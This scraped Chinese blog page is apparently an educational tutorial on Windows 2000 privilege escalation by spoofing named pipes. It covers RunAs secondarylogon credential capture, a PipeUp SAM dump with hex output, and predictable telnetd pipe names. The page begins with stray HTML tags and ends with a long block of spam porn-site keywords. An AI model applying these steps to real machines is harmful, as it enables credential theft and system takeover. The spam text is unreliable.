• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運(yùn)轉(zhuǎn),開(kāi)心的工作
            簡(jiǎn)單、開(kāi)放、平等的公司文化;尊重個(gè)性、自由與個(gè)人價(jià)值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁(yè) :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理
            講到Exploit都會(huì)涉及到提升權(quán)限的問(wèn)題,所謂提升權(quán)限就是利用系統(tǒng)的漏洞來(lái)獲得更高的Privilege。比如說(shuō),你用一般用戶(hù)的賬號(hào)登錄Windows NT/Windows 2000后,你就只能作有限的操作,卻不能加減用戶(hù),不能往系統(tǒng)目錄中存寫(xiě)文件等等;但等到你通過(guò)系統(tǒng)的漏洞獲得了Administrator或者Local System的權(quán)限以后,你也就可以作這些事了。

            我研究Exploit的時(shí)間并不是很長(zhǎng),但看到有關(guān)在Windows操作系統(tǒng)中提升權(quán)限的方法與實(shí)例還真不少。剛才到Google上用關(guān)鍵詞“microsoft”“Windows”“privilege”“elevation”去搜索一下,居然返回3000多個(gè)結(jié)果。要知道,這還只是公布出來(lái)的部分,江湖中還有很多必殺絕技是不輕易示人的。

            要想在這里詳細(xì)地介紹所有Windows中提升權(quán)限的方法,我的功力是遠(yuǎn)遠(yuǎn)不夠的----估計(jì)相當(dāng)于丐幫一袋弟子的水平而已。所以呢,這一章所針對(duì)的讀者應(yīng)該是丐幫的入門(mén)弟子,如果你們哪位功力要用兩個(gè)以上的麻袋來(lái)裝的話(huà),請(qǐng)盡管跳過(guò)這一章。

            我在選擇這一章的Exploit例子時(shí),有意選擇針對(duì)W2K操作系統(tǒng)、附帶有源程序的例子,這樣方便大家在自己的機(jī)器上試驗(yàn)。這些Exploit并不是每個(gè)都成功,但是我感覺(jué)它們有不少可借鑒之處,可以通過(guò)學(xué)習(xí)它們來(lái)了解黑客的思路,從而提高自己的反入侵能力。

            記住我的機(jī)器dallas是W2K Service Pack 1,如果你們的計(jì)算機(jī)運(yùn)行不同版本的W2K Service Pack,這些Exploit可能需要改動(dòng)。

            順便說(shuō)一句,實(shí)際上在第一章里面我們已經(jīng)提到一種在Unix或者Linux中提升權(quán)限的方法,就是去Exploit超級(jí)用戶(hù)Root所有的、具有SUID位的執(zhí)行程序。在Windows操作系統(tǒng)中,沒(méi)有SUID這種說(shuō)法,但是有一種RunAs服務(wù)(Service)進(jìn)程可以提供類(lèi)似于SUID的功能,而且是有可能被Exploit的。


            利用Windows 2000中的Named Pipe來(lái)提升權(quán)限


            Windows 2000
            中的RunAs服務(wù)進(jìn)程可以讓用戶(hù)甲以用戶(hù)乙的權(quán)限運(yùn)行程序,這類(lèi)似于UnixLinux系統(tǒng)中SUID位功能。W2K中的一個(gè)APICreateProcessWithLogonW就利用了RunAs服務(wù)進(jìn)程,用戶(hù)甲調(diào)用這個(gè)CreateProcessWithLogonW時(shí)把用戶(hù)乙的賬號(hào)(Account)、域(Domain)、密碼(Password)提交給Windows操作系統(tǒng)作Authentication,如果Authentication成功,那么就接著運(yùn)行指定的程序,而且這個(gè)程序運(yùn)行時(shí)具有用戶(hù)乙的權(quán)限。

            CreateProcessWithLogonW API的定義如下:
            BOOL CreateProcessWithLogonW(
            LPCWSTR , // 用戶(hù)乙的賬號(hào)(Account)
            LPCWSTR , //用戶(hù)乙的域(Domain)
            LPCWSTR , // 用戶(hù)乙的密碼(Password)
            DWORD , // logon option
            LPCWSTR , // executable module name
            LPWSTR , // command-line string
            DWORD , // creation flags
            LPVOID , // new environment block
            LPCWSTR , // current directory name
            LPSTARTUPINFOW , // startup information
            LPPROCESS_INFORMATION // process information
            );

            那么CreateProcessWithLogonW是如何把用戶(hù)乙的賬號(hào)信息傳給RunAs服務(wù)進(jìn)程的呢?在Windows操作系統(tǒng)中有很多Interprocess Communication的方法,大概最常見(jiàn)的就是 Pipe了。我們?cè)谏弦徽聦?duì)IIS的Exploit中也用到了Pipe,不過(guò)那是沒(méi)有名字的pipe (Anonymous Pipe);在這里CreateProcessWithLogonW是用有名字的Pipe(named Pipe)與RunAs聯(lián)絡(luò)的,這個(gè)named Pipe就是“\.pipesecondarylogon”。

            到目前為止,一切都正常。大家要問(wèn):RunAs的漏洞在哪里呢?它的漏洞是如何被Exploit的呢?根據(jù)RADIX Team的解釋?zhuān)寒?dāng)用戶(hù)甲用CreateProcessWithLogonW創(chuàng)建具有用戶(hù)乙權(quán)限的進(jìn)程時(shí),它是不會(huì)核實(shí)“\.pipesecondarylogon”Server端究竟是連通到RunAs進(jìn)程還是連通到其它的進(jìn)程。如果RunAs服務(wù)進(jìn)程在某一時(shí)刻停止運(yùn)行的話(huà),黑客進(jìn)程可以趁機(jī)創(chuàng)建一個(gè)也叫“\.pipesecondarylogon”named Pipe,然后黑客進(jìn)程就假裝成RunAs服務(wù)進(jìn)程在PipeServer端等著接受信息。接著我們無(wú)辜而無(wú)知的用戶(hù)甲調(diào)用CreateProcessWithLogonW了,它也不先調(diào)查一下Named Pipe另一端的進(jìn)程身份,就把用戶(hù)乙的賬號(hào)信息由偽造的named Pipe傳了過(guò)去,傳呀傳,傳呀傳,一直傳到黑客程序的耳朵里。

            RADIX Team還編寫(xiě)了一個(gè)Exploit程序radix1112200101,這個(gè)程序把通過(guò)Named Pipe “\.pipesecondarylogon”傳來(lái)的用戶(hù)乙賬號(hào)信息(包括用戶(hù)名、域名、密碼)統(tǒng)統(tǒng)顯示出來(lái)。限于篇幅,我就不轉(zhuǎn)載這個(gè)程序了,大家可以到他們的網(wǎng)站去看。不過(guò)這里我準(zhǔn)備演示一下在dallas上如何使用radix1112200101來(lái)獲得dallas本地域(Local Domain)的超級(jí)用戶(hù)Administrstor的密碼。被Exploit的程序(就是因?yàn)槭褂?b style="COLOR: black; BACKGROUND-COLOR: #ffff66">CreateProcessWithLogonW而泄密的家伙)叫radixvictim.cpp,它以超級(jí)用戶(hù)Administrator的權(quán)限啟動(dòng)一個(gè)NotePad程序。


            <==========================radixvictim.cpp===============================>

            // radixvictim.cpp : Defines the entry point for the application.
            //

            #define _WIN32_WINNT 0x0500
            #define UNICODE

            #include <windows.h>
            #include <winbase.h>
            #include <stdio.h>
            #include <winuser.h>

            int APIENTRY WinMain(HINSTANCE hInstance,
            HINSTANCE hPrevInstance,
            LPSTR lpCmdLine,
            int nCmdShow = SW_SHOW)
            {
            // TODO: Place code here.

            LPCWSTR lpUsername = L"Administrator"; // user's name
            LPCWSTR lpDomain = L"dallas"; // user's domain
            LPCWSTR lpPassword = L"moda"; // user's password
            DWORD dwLogonFlags = LOGON_NETCREDENTIALS_ONLY; // logon option
            LPCWSTR lpApplicationName = L"D:\Winnt\NotePad.exe";
            LPWSTR lpCommandLine = L"NotePad.exe"; // command-line string
            DWORD dwCreationFlags = CREATE_NEW_CONSOLE; // creation flags
            LPVOID lpEnvironment = NULL; // new environment block
            LPCWSTR lpCurrentDirectory = NULL; // current directory name
            STARTUPINFO StartupInfo; // startup information
            PROCESS_INFORMATION ProcessInfo; // process information

            BOOL ret;

            ZeroMemory(&StartupInfo, sizeof(StartupInfo));
            StartupInfo.cb = sizeof(StartupInfo);
            ZeroMemory(&ProcessInfo, sizeof(ProcessInfo));

            ret = CreateProcessWithLogonW(
            lpUsername,
            lpDomain,
            lpPassword,
            dwLogonFlags,
            lpApplicationName,
            lpCommandLine,
            dwCreationFlags,
            lpEnvironment,
            lpCurrentDirectory,
            &StartupInfo,
            &ProcessInfo
            );


            if (! ret )
            ExitProcess (GetLastError()) ;

            return 0;
            }

            <================================================================>

            在偽造Named Pipe之前,必須關(guān)閉RunAs的“\.pipesecondarylogon”,要不然運(yùn)行radix1112200101會(huì)得到Permission Denied之類(lèi)的錯(cuò)誤。

            我先以超級(jí)用戶(hù)Administrator登錄dallas,然后從Administrative Tools->Services中終止RunAs服務(wù)進(jìn)程 (一般的情況下,只有超級(jí)用戶(hù)Administrator才能終止RunAs服務(wù)進(jìn)程)。這樣RunAs擁有的“\.pipesecondarylogon”就關(guān)閉(Close)了。

            再以我的一般用戶(hù)賬號(hào)moda登錄dallas,接著運(yùn)行radix1112200101偽造一個(gè)新的Named Pipe “\.pipesecondarylogon”。


            D:MyJobsecuritylabradixDebug>radix1112200101
            Created pipe and waiting for clients...


            怎么確定“\.pipesecondarylogon”被成功地創(chuàng)建了呢?我們可以使用pipelist程序,這是我從sysinternals網(wǎng)站下載的寶貝之一,它能列出系統(tǒng)中所有的Named Pipe:

            D:MyJobtoolpipelistRELEASE>pipelist

            PipeList v1.01
            by Mark Russinovich
            http://www.sysinternals.com

            Pipe Name Instances Max Instances
            --------- --------- -------------
            InitShutdown 2 -1
            lsass 5 -1
            ntsvcs 50 -1
            scerpc 2 -1
            netNtControlPipe1 1 1
            DhcpClient 1 -1
            netNtControlPipe2 1 1
            Winsock2CatalogChangeListener-194-0 1 1
            netNtControlPipe3 1 1
            spoolss 2 -1
            。。。。。。。
            。。。。。。。
            netNtControlPipe21 1 1
            tapsrv 2 -1
            ROUTER 2 -1
            WMIEP_2ac 2 -1
            WMIEP_154 2 -1
            SecondaryLogon 1 10

            D:MyJobtoolpipelistRELEASE>

            你們看到,最后一個(gè)Named Pipe就是radix1112200101剛剛偽造Secondarylogon。

            現(xiàn)在運(yùn)行radixvictim。對(duì)於這個(gè)程序,用戶(hù)甲就是無(wú)辜而無(wú)知的“moda”,而用戶(hù)乙就是超級(jí)用戶(hù)Administrator。請(qǐng)注意Exploit程序radix1112200101的輸出:

            D:MyJobsecuritylabradixDebug>radix1112200101
            Created pipe and waiting for clients...
            Read 4 bytes. (ASCII Dump)
            >
            ? Read 318 bytes. (ASCII Dump)

            ? ? 8
            X j □ □
            ? ? ? - + -
            ? A d m i n
            i s t r a t o r
            ? d a l l a
            s ? m o d a
            * D
            : W i n n t
            N o t e P a d .
            e x e ? N o
            t e P a d . e x
            e l
            D H l

            W i n S
            t a 0 D e f a
            u l t _
            D:MyJobsecuritylabradixDebug>

            你們可以看到,超級(jí)用戶(hù)Administrator的信息(包括密碼)全部都被radix1112200101接收到了。得到Administrator的賬號(hào)信息后,再提升權(quán)限就易如反掌了!

            這個(gè)Exploit的關(guān)鍵在于:第一,Named Pipe的名字是廣為人知的,黑客的Named Pipe也可以貼上同樣的名字“\.pipesecondarylogon”去冒充;第二,CreateProcessWithLogonW在使用Named Pipe之前并沒(méi)有核實(shí)Named Pipe的Server端進(jìn)程,它不管Server端是連通到RunAs進(jìn)程還是到其它的進(jìn)程。 類(lèi)似的這樣問(wèn)題是在Windows操作系統(tǒng)中是廣泛存在的,再看下面的例子:

            我是在網(wǎng)站http://www.dogmile.com上看到的這個(gè)例子的,作者為maceo。根據(jù)maceo的研究,Windows 2000操作系統(tǒng)廣泛使用了Named Pipe來(lái)控制(或者說(shuō)管理)服務(wù)進(jìn)程,包括象Clipbook服務(wù)進(jìn)程呀、Telnetd服務(wù)進(jìn)程呀等等,而且這些Named Pipe的名字是可以猜得到的。如果黑客搶先用猜到的名字創(chuàng)建Named Pipe的話(huà),服務(wù)進(jìn)程啟動(dòng)時(shí)會(huì)直接連接到黑客的Named Pipe上,於是黑客程序就可以通過(guò)ImpersonateNamedPipeClient()取得服務(wù)進(jìn)程的權(quán)限(缺省設(shè)置為L(zhǎng)ocal System權(quán)限)。那么,黑客是怎樣猜到這些Named Pipe的名字的呢?很簡(jiǎn)單,他是從Registry中查詢(xún)到的,在下面的地址:

            HKEY_LOCAL_MACHINE
            SYSTEM
            CurrentControlSet
            Control
            ServiceCurrent

            如果ServiceCurrent的雙字值(DWORD Value)是X,那么服務(wù)進(jìn)程所用到的Named Pipe的名字就是“\.pipenetNtControlPipe(X+1)”,這也就是黑客要偽造的Named Pipe的名字。

            maceo給出了幾個(gè)Exploit程序,我下面就在Dallas上演示其中的一個(gè)----PipeUp。這個(gè)Exploit程序首先從Registry中取得下一個(gè)服務(wù)進(jìn)程要使用的Named Pipe名字,然后搶先創(chuàng)建這個(gè)Named Pipe;緊接著它啟動(dòng)服務(wù)進(jìn)程ClipBook,由于ClipBook啟動(dòng)后會(huì)主動(dòng)連接這個(gè)偽造的Named Pipe,於是PipeUp就通過(guò)函數(shù)ImpersonateNamedPipeClient而獲取了Local System的賬號(hào)權(quán)限(因?yàn)镃lipBook一般以L(fǎng)ocal System的賬號(hào)運(yùn)行)。這樣進(jìn)程PipeUp就有足夠的權(quán)限把Local System在Security Account Manager(SAM)中的信息讀出來(lái)。

            你們可以從網(wǎng)站http://www.dogmile.com下載這個(gè)Exploit的源程序,這里限于篇幅我就不轉(zhuǎn)載這個(gè)程序了(畫(huà)外音:其實(shí)是限于版權(quán))。

            先以Administrator的賬號(hào)登錄dallas,把ClipBook服務(wù)進(jìn)程停止。

            再以一般用戶(hù)moda登錄,運(yùn)行Exploit程序PipeUp,下面是PipeUp運(yùn)行及Exploit的結(jié)果:

            D:MyJobsecuritylabPipeUpDebug>pipeup
            The ClipBook service is not started.

            More help is available by typing NET HELPMSG 3521.

            Impersonating: SYSTEM
            Dumping SAM for RID 500 ...

            F:0x020001000000000010f3e3f89b33c2010000000000000000f0a09fa11061c101ffffffffffff
            ff7fb0c25115f430c201f401000001020000100200000000000000002a010100000000000d000a00
            0000

            V:0x00000000a800000002000100a80000001a00000000000000c40000000000000000000000c400
            00006c00000000000000300100000000000000000000300100000000000000000000300100000000
            00000000000030010000000000000000000030010000000000000000000030010000000000000000
            00003001000000000000000000003001000000000000000000003001000008000000010000003801
            000014000000000000004c0100001400000000000000600100000400000000000000640100000400
            000000000000010014808800000098000000140000003000000002001c000100000002c014004400
            05010101000000000001000000000200580003000000000014005b03020001010000000000010000
            000000001800ff070f00010200000000000520000000200200000000240044000200010500000000
            000515000000dde8e41c32621f2a8aa7323ff4010000010200000000000520000000200200000102
            0000000000052000000020020000410064006d0069006e006900730074007200610074006f007200
            00004200750069006c0074002d0069006e0020006100630063006f0075006e007400200066006f00
            72002000610064006d0069006e006900730074006500720069006e00670020007400680065002000
            63006f006d00700075007400650072002f0064006f006d00610069006e0001020000070000000100
            01001913f29278bf71eaff44492fb2f9ed05010001002a730d35666e44ffa4f37b29011d882f0100
            010001000100

            D:MyJobsecuritylabPipeUpDebug>


            大家看了上面兩個(gè)例子有什么想法呢?肯定有人會(huì)覺(jué)得這些Exploit有“做弊”的嫌疑:一方面,在radix1112200101(或PipeUp)運(yùn)行之前,RunAs(或ClipBook)服務(wù)進(jìn)程都必須先終止運(yùn)行,這樣黑客進(jìn)程才有可能偽造Named Pipe,才有機(jī)會(huì)竊取Administrator(或Local System)的賬號(hào)信息;而另一方面,黑客必須先取得至少Administrator的權(quán)限才能終止RunAs(或ClipBook)進(jìn)程。
            這兩個(gè)方面看起來(lái)是互為前提條件的,是個(gè)無(wú)解的“Deadlock”。實(shí)際上,我在SecurityFocus網(wǎng)站上看到Microsoft針對(duì)Exploit程序radix1112200101的回復(fù),它指出這個(gè)Exploit是兩難的,現(xiàn)實(shí)中不太可能發(fā)生。

            要實(shí)現(xiàn)這個(gè)Exploit確實(shí)有些難度,但是這并不等于不會(huì)發(fā)生!假如某個(gè)服務(wù)進(jìn)程有Bugs,象緩沖區(qū)溢出呀、Signal不當(dāng)reentrant呀等等,那么在運(yùn)行中這個(gè)服務(wù)進(jìn)程就有可能被黑客故意整垮掉(Crash),然后黑客就可以偽造它的Named Pipe,再利用上面的Exploit程序提升其權(quán)限。

            而且有時(shí)候我們并不需要先終止服務(wù)進(jìn)程,我在Microsoft的Security Bulletins網(wǎng)站上找到一個(gè)例子----編號(hào)為MS01-031的一篇文章 “Predictable Name Pipes Could Enable Privilege Elevation Via Telnet”。中文大意是說(shuō):當(dāng)你通過(guò)Telnet遠(yuǎn)程聯(lián)線(xiàn)到Windows 2000系統(tǒng)中的Telnetd服務(wù)進(jìn)程時(shí),Telnetd會(huì)創(chuàng)建一個(gè)新的Named Pipe,同時(shí)運(yùn)行這個(gè)Named Pipe攜帶的初始化程序。由于這個(gè)Named Pipe的名字是可以猜到的(Predictable),所以黑客可以搶先用猜到的名字創(chuàng)建這個(gè)Named Pipe,同時(shí)讓這個(gè)Named Pipe攜帶黑客碼作為初始化程序;當(dāng)Telnetd服務(wù)進(jìn)程發(fā)現(xiàn)這個(gè)Named Pipe已經(jīng)存在時(shí),它既不重新創(chuàng)建一個(gè)新的Named Pipe,也不核實(shí)一下這個(gè)Named Pipe的創(chuàng)建者是否可以信賴(lài)(Trustable),相反,它直接使用這個(gè)Named Pipe,并且把其攜帶的黑客碼當(dāng)成初始化程序運(yùn)行。 由于在缺省設(shè)置的情況下,Telnetd服務(wù)進(jìn)程具有Local System的權(quán)限,所以黑客碼也將以這個(gè)最高的權(quán)限橫沖直撞。

            Microsoft 的文章并沒(méi)有告訴我們這個(gè)可以猜得到的Named Pipe名字是什么----這是可以理解的,畢竟誰(shuí)也不會(huì)開(kāi)門(mén)掬盜。不過(guò)我在dallas上作了個(gè)試驗(yàn):分別聯(lián)結(jié)兩個(gè)Telnet SessionDallas上,然后用Pipelist程序觀察在TelnetNamed Pipe的變化情況:

            D:MyJobtoolpipelistDebug>pipelist

            PipeList v1.01
            by Mark Russinovich
            http://www.sysinternals.com

            Pipe Name Instances Max Instances
            --------- --------- -------------
            InitShutdown 2 -1
            lsass 5 -1
            ntsvcs 52 -1
            scerpc 2 -1
            netNtControlPipe1 1 1
            。。。。。。。。。。
            tapsrv 2 -1
            ROUTER 2 -1
            WMIEP_644 2 -1
            WMIEP_2c8 2 -1
            netNtControlPipe28 1 1
            telnetd000001fc.00000000 1 1
            telnetd000001fc.00000001 1 1
            telnetd000001fc.00000002 1 1
            telnetd000001fc.00000003 1 1

            上面用黑體字標(biāo)出來(lái)的Named Pipe:netNtControlPipe28屬于Telnetd服務(wù)進(jìn)程,而telnetd000001fc.00000000與telnetd000001fc.00000001屬于第一個(gè)Telnet Session,telnetd000001fc.00000002與telnetd000001fc.00000003屬于第二個(gè)Telnet Session。 如果這時(shí)有第三個(gè)用戶(hù)Telnet進(jìn)來(lái)的話(huà),Telnetd要用到的Named Pipe名字將會(huì)是telnetd000001fc.00000004telnetd000001fc.00000005,我敢賭100塊錢(qián)!!!

            你們看到,這個(gè)例子并不需要終止任何服務(wù)進(jìn)程,理論上說(shuō)你只需要具有一般用戶(hù)賬號(hào)就可以提升你的權(quán)限到Local System級(jí)別:先以一般用戶(hù)賬號(hào)偽造Named Pipe并讓它附帶黑客碼作為初始化程序,然后以同一賬號(hào)遠(yuǎn)程聯(lián)線(xiàn)到象dallas這樣的機(jī)器上,Telnetd服務(wù)進(jìn)程會(huì)主動(dòng)運(yùn)行你附帶在Named Pipe上的黑客碼,而且你的黑客碼是以Local System權(quán)限運(yùn)行。

            精品水蜜桃久久久久久久| 精品熟女少妇av免费久久| 国产精品久久久久一区二区三区| 欧美噜噜久久久XXX| 亚洲AV无码久久| 久久久久久久久无码精品亚洲日韩| 久久人妻无码中文字幕| 狠狠色丁香久久婷婷综合_中 | 色青青草原桃花久久综合| 热久久国产欧美一区二区精品 | 99久久国产宗和精品1上映| 国产香蕉久久精品综合网| 国产精品久久久久久五月尺| 久久综合视频网| 久久人人爽人人人人爽AV| 色欲久久久天天天综合网| 久久亚洲欧美国产精品| 91精品国产高清91久久久久久| 91精品国产91久久综合| 国产成人精品久久亚洲| 久久精品无码免费不卡| 久久精品免费全国观看国产| 久久精品国产亚洲AV影院 | 久久精品国产亚洲AV久| 亚洲精品无码久久一线| 久久亚洲精品人成综合网| 国产亚洲精品自在久久| 91久久精品视频| 久久噜噜久久久精品66| 97精品依人久久久大香线蕉97| 久久综合给合久久狠狠狠97色69| 久久亚洲欧美日本精品| 看全色黄大色大片免费久久久| 无码八A片人妻少妇久久| 久久精品中文騷妇女内射| 久久免费小视频| 国产成人综合久久精品红| 潮喷大喷水系列无码久久精品 | 青青青国产精品国产精品久久久久| 久久99精品久久久久久秒播| 精品综合久久久久久98|